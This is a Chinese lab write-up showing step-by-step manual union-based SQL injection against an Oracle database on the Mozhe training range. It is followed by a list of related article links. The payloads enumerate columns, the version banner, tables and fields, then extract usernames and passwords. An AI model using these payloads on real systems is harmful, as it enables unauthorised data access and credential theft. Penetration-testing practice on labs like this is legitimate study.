判断注入点

通过判断?id=1 and 1=1 正确 ?id=1 and 1=2 错误 确定是个数字型注入点

判断列数

通过?id=1 order by 2-- 判断出存在两列数据 注意Oracle闭合后面语句的是 --

判断字符类型

oracle自带虚拟表dual,oracle的查询语句必须完整的包含from字句,且每个字段的类型都要准确对应,一般使用null来判断类型。

例:?id=1 and 1=2 union select 'null','null' from dual 返回正常

and 1=2 union select 'null',null...... from dual
返回正常,说明第一个字段是数字型,反之为字符型
第一个字段是字符型,判断第二个字段类型:and 1=2 union select 'null','null'...... from dual
返回正常,说明第二个字段是字符型,反之为数字型
第一个字段是数字型,判断第二个字段类型:and 1=2 union select null,'null'...... from dual
返回正常,说明第二个字段是字符型,反之为数字型

判断显示位

?id=1 and 1=2 union select '1','2' from dual -- 上面判断出为字符型的加上单引号,即可判断出对应的显示位

探测数据库版本信息

and 1=2 union select null,(select banner
from sys.v_$version where rownum=1) from dual --

探测第一个表名

table_name表为Oracle数据库的默认表,存放所有的表名

?id=1 and 1=2 union select null,(select table_name
from user_tables where rownum=1) from dual --

第一个表名为:LOGMNR_SESSION_EVOLVE$

探测第二个表名

注意,查询第二个表时,利用筛选方法,即排除第一个表:table_name<>'LOGMNR_SESSION_EVOLVE$'

?id=1 and 1=2 union select null,(select table_name from user_tables
where rownum=1 and table_name<>'LOGMNR_SESSION_EVOLVE$') from dual --

第二个表名为:LOGMNR_GLOBAL$

该数据库名为system 因为该库下的表实在太多,一个个手注非常麻烦,所以使用sqlmap扫出该库下存在sns_user表,初步判断确定该表存放的数据是我们想要的,接下来对该表继续进行手注

探测关键表 SNS_USERS 的字段

?id=1 and 1=2 union select null,(select column_name from user_tab_columns
where table_name='sns_users' and rownum=1) from dual --

手注这条语句时发现了一个问题,当填写的表名为SNS_USERS无回显,但填写为sns_users时就有回显,说明表名区分大小写,具体是什么原因还不清楚

查询到的结果为:USER_NAME 字段

?id=1 and 1=2 union select null,(select column_name from user_tab_columns
where table_name='sns_users' and rownum=1 and column_name<>'USER_NAME') from dual --
排除查询到的第一个字段,继续向下查该表的剩余字段

查询到的结果为:USER_PWD 字段

正常查询出现的用户名和密码都是假数据,不过发现了还有一个STATUS字段,通过where它获取到了真正的数据!

探测关键字段的数据

and 1=2 union select USER_NAME,USER_PWD from "sns_users" where STATUS=1  --
注意此刻的表名要用双引号包起来

手注Oracle墨者靶场案例相关推荐

  1. oracle手注,oracle手注

    报错注入: [1]爆版本号 方法一: 例子:http://210.35.35.70:82/Book.aspx?id=0199332841 爆版本号:http://210.35.35.70:82/Boo ...

  2. 资源放送丨《Oracle存储过程性能分析案例》PPT视频

    点击上方"蓝字" 关注我们,享更多干货! 前段时间,墨天轮邀请数据库资深专家 周玉其 老师分享了<Oracle存储过程性能分析案例>,在这里我们将课件PPT和实况录像分 ...

  3. 墨者靶场--手工注入mysql数据库

    跟着小迪老师学习了sql注入,拿个靶场来练习一下自己也算是复习巩固之前学到的东西,下面让我们来一起吃西瓜把 首先我们先进入我们的墨者靶场,嘿嘿嘿 一块墨币还算好 要玩这个靶场主要要明白数据库的结构,和 ...

  4. oracle pl sql示例,oracle PL SQL学习案例(一)

    oracle PL SQL学习案例(一) [示例1.1]  查询雇员编号为7788的雇员姓名和工资. 步骤1:用SCOTT/TIGER账户登录SQL*Plus. 步骤2:在输入区输入以下程序: /*这 ...

  5. dataguru北京线下沙龙-第二部 《Oracle 索引优化思路--案例分享 -- 刘盛》

    [视频:dataguru北京线下沙龙-第二部 <Oracle 索引优化思路--案例分享 -- 刘盛> /微笑]

  6. 崔华 oracle简历,2013数据库大会:崔华-基于Oracle的SQL优化案例分析

    2013数据库大会:崔华-基于Oracle的SQL优化案例分析 崔华的新书即将出版,其数据库大会上的演讲也非常精彩,他的新书十分值得期待. 2013年中国数据库技术大会第二天的"Oracle ...

  7. oracle进行日志切换,Oracle存档日志切换案例操作

    当前位置:我的异常网» 数据库 » Oracle存档日志切换案例操作 Oracle存档日志切换案例操作 www.myexceptions.net  网友分享于:2014-12-29  浏览:0次 Or ...

  8. 墨者靶场-SQL手工注入漏洞测试(MySQL数据库-字符型)

    0x00 前言 我们都知道,SQL注入分数字型和字符型,我们上次讲的是最基本的数字型SQL注入,这次我们就来讲最基本的字符型SQL注入.同样,如果是明白原理和方法的话,看懂这篇文章并不难,但是如果不清 ...

  9. 墨者靶场 入门:WebShell文件上传漏洞分析溯源(第1题)

    墨者靶场 入门:WebShell文件上传漏洞分析溯源(第1题) 题目 背景介绍 实训目标 解题方向 解题步骤 题目 背景介绍 某公司内部资料分享平台存在一个文件上传页面,为了保证服务器的安全,现在安全 ...

最新文章

  1. 获取运行中的TeamViewer的账号和密码--中文版
  2. “雪花”项目:Microsoft探索在.NET中实现手工内存管理
  3. MySQL Workbench的使用教程 (初级入门版)
  4. CodeForces - 520C DNA Alignment(思维)
  5. StackExchange.Redis 使用 (一)
  6. 【CodeForces - 569B】Inventory (标记,乱搞)
  7. byte[]、sbyte[]、int[]以及Array的故事
  8. OSI七层模型都是什么?
  9. 消息中间件Kafka与RabbitMQ谁更胜一筹?
  10. Linux策略路由--原理、配置和应用
  11. AngularJS 模板
  12. CNN for image retrieval
  13. mapper扫描问题(Invalid bound statement (not found))
  14. java http 500错误怎么解决_java - HTTP POST请求中出现500内部错误
  15. Redis:配置文件
  16. SSM 校园外卖系统的设计与实现
  17. 自旋波matlab计算,从电子到磁振子,自旋波计算开启新篇章
  18. [BJOI2019]勘破神机(斯特林数,数论)
  19. 记windows远程桌面凭据不工作解决办法
  20. html自动全屏js,js实现简单页面全屏

热门文章

  1. React监听浏览器窗口大小的改变
  2. SSH和SFTP服务监听端口分离
  3. 微信支付 回调地址哪里设置
  4. QTP自动化测试流程
  5. Python turtle 实现图片旋转效果详解
  6. LLM总结(持续更新中)
  7. 分布式一致性协议之Raft
  8. ggplot2作图详解3:映射(mapping)
  9. 决策树与回归树区别到底在哪
  10. 使用Java实现发红包案例